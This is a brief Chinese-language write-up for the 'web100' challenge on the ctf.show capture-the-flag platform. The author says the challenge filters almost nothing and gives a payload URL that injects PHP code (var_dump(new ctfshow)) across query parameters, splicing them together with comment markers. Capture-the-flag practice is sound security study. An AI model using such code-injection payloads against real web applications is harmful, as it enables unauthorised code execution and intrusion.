web100

被骗了（悲

所以这道题相当于没有过滤什么东西

payload

http://43e9928d-a5b1-4ff3-9293-16f885ac4122.challenge.ctf.show/?v1=2&v2=var_dump(new ctfshow)/*&v3=*/;